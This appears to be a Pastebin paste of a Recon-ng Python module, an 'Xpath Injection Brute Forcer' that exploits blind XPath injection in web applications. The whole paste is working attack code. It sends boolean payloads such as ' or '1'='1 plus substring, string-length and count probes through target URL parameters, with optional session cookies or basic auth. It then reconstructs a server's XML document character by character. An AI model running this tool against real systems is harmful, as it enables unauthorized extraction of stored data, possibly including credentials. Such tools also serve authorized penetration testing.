Guest User

Untitled

a guest
Feb 17th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.63 KB | None | 0 0
  1. from __future__ import print_function
  2. from recon.core.module import BaseModule
  3. import urllib
  4. import sys
  5.  
  6. class Module(BaseModule):
  7.  
  8. meta = {
  9. 'name': 'Xpath Injection Brute Forcer',
  10. 'author': 'Tim Tomes (@LaNMaSteR53), modified by DSavitski',
  11. 'description': 'Exploits XPath injection flaws to enumerate the contents of serverside XML documents using OR based statements.',
  12. 'options': (
  13. ('base_url', None, True, 'target resource url excluding any parameters'),
  14. ('basic_user', None, False, 'username for basic authentication'),
  15. ('basic_pass', None, False, 'password for basic authentication'),
  16. ('cookie', None, False, 'cookie string containing authenticated session data'),
  17. ('parameters', None, True, 'query parameters with \'<inject>\' signifying the injection'),
  18. ('post', False, True, 'set the request method to post. parameters should still be submitted in the url option'),
  19. ('string', None, True, 'unique string found when the injection results in \'True\''),
  20. ),
  21. }
  22.  
  23. def getRequest(self, strTest):
  24. payload = {}
  25. for param in self.lstParams:
  26. payload[param[0]] = param[1].replace('<inject>', strTest)
  27. # send the request
  28. resp = self.request(self.strUrl, method=self.strMethod, payload=payload, headers=self.dictHeaders, auth=self.tupAuth)
  29. # process the response
  30. self.intCount += 1
  31. if self.strSearch in resp.text:
  32. return True
  33. else:
  34. return False
  35.  
  36. def getLength(self, strTest):
  37. intLength = 0
  38. for x in range(0,10000):
  39. if self.getRequest(strTest % (x)):
  40. return x
  41.  
  42. def getString(self, intLength, strTest):
  43. strResult = ''
  44. for x in range(1,intLength+1):
  45. found = False
  46. for char in self.strCharset:
  47. if self.getRequest(strTest % (x, char)):
  48. strResult += char
  49. print(char, end='')
  50. found = True
  51. break
  52. if not found:
  53. strResult += '?'
  54. print('?', end='')
  55. return strResult
  56.  
  57. def checkItem(self, strItem, lstItems):
  58. for item in getattr(self, lstItems):
  59. if self.getRequest("' or name(%s)='%s" % (strItem, item)):
  60. return item
  61.  
  62. def getAttribs(self, node):
  63. intAttribs = self.getLength("' or count(%s/@*)=%%d and '1'='1" % (node))
  64. for x in range(1,intAttribs+1):
  65. strAttrib = '%s/@*[%d]' % (node, x)
  66. print(' ', end='')
  67. # check if attrib matches previously enumerated attrib
  68. name = self.checkItem(strAttrib, 'attribs')
  69. if name:
  70. print(name, end='')
  71. else:
  72. # length of attrib name
  73. intNamelen = self.getLength("' or string-length(name(%s))=%%d and '1'='1" % (strAttrib))
  74. # attrib name
  75. name = self.getString(intNamelen, "' or substring(name(%s),%%d,1)='%%s' and '1'='1" % (strAttrib))
  76. self.attribs.append(name)
  77. # length of attrib value
  78. intValuelen = self.getLength("' or string-length(%s)=%%d and '1'='1" % (strAttrib))
  79. # attrib value
  80. print('="', end='')
  81. value = self.getString(intValuelen, "' or substring(%s,%%d,1)='%%s' and '1'='1" % (strAttrib))
  82. print('"', end='')
  83.  
  84. def getXML(self, node='', name='', level=0):
  85. spacer = ' '*level
  86. intNodes = self.getLength("' or count(%s/*)=%%d and '1'='1" % (node))
  87. if not intNodes:
  88. # check for value
  89. intValuelen = self.getLength("' or string-length(%s)=%%d and '1'='1" % (node))
  90. if intValuelen:
  91. print('>', end='')
  92. value = self.getString(intValuelen, "' or substring(%s,%%d,1)='%%s' and '1'='1" % (node))
  93. print('</%s>' % (name))
  94. else:
  95. print('/>')
  96. return True
  97. if level != 0: print('>')
  98. for x in range(1,intNodes+1):
  99. strNode = '%s/*[%d]' % (node, x)
  100. print('%s<' % (spacer), end='')
  101. # check if node matches previously enumerated node
  102. name = self.checkItem(strNode, 'nodes')
  103. if name:
  104. print(name, end='')
  105. else:
  106. # length of node name
  107. intNamelen = self.getLength("' or string-length(name(%s))=%%d and '1'='1" % (strNode))
  108. # node name
  109. name = self.getString(intNamelen, "' or substring(name(%s),%%d,1)='%%s' and '1'='1" % (strNode))
  110. self.nodes.append(name)
  111. self.getAttribs(strNode)
  112. if not self.getXML(strNode, name, level + 1):
  113. print('%s</%s>' % (spacer, name))
  114.  
  115. def module_run(self):
  116. self.strSearch = self.options['string']
  117. self.strUrl = self.options['base_url']
  118. #self.strCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
  119. self.strCharset = 'aeorisn1tl2md0cp3hbuk45g9687yfwjvzxqASERBTMLNPOIDCHGKFJUW.!Y*@V-ZQX_$#,/+?;^ %~=&`\)][:<(>"|{\'}'
  120. self.intCount = 0
  121. self.nodes = []
  122. self.attribs = []
  123. strTrue = "' or '1'='1"
  124. strFalse = "' or '1'='2"
  125.  
  126. # process parameters
  127. params = self.options['parameters']
  128. params = params.split('&')
  129. params = [param.split('=') for param in params]
  130. self.lstParams = [(urllib.unquote_plus(param[0]), urllib.unquote_plus(param[1])) for param in params]
  131.  
  132. # process basic authentication
  133. username = self.options['basic_user']
  134. password = self.options['basic_pass']
  135. self.tupAuth = (username, password) if username and password else ()
  136.  
  137. # process cookie authentication
  138. cookie = self.options['cookie']
  139. self.dictHeaders = {'Cookie': cookie} if cookie else {}
  140.  
  141. # set the request method
  142. self.strMethod = 'POST' if self.options['post'] else 'GET'
  143.  
  144. self.verbose("'True' injection payload: =>%s<=" % (strTrue))
  145. if self.getRequest(strTrue):
  146. self.alert("'True' injection test passed.")
  147. else:
  148. self.error("'True' injection test failed.")
  149. return
  150.  
  151. self.verbose("'False' injection payload: =>%s<=" % (strFalse))
  152. if not self.getRequest(strFalse):
  153. self.alert("'False' injection test passed.")
  154. else:
  155. self.error("'False' injection test failed.")
  156. return
  157.  
  158. self.output('Fetching XML...')
  159. self.getXML()
  160. self.output('%d total queries made.' % (self.intCount))
Add Comment
Please, Sign In to add comment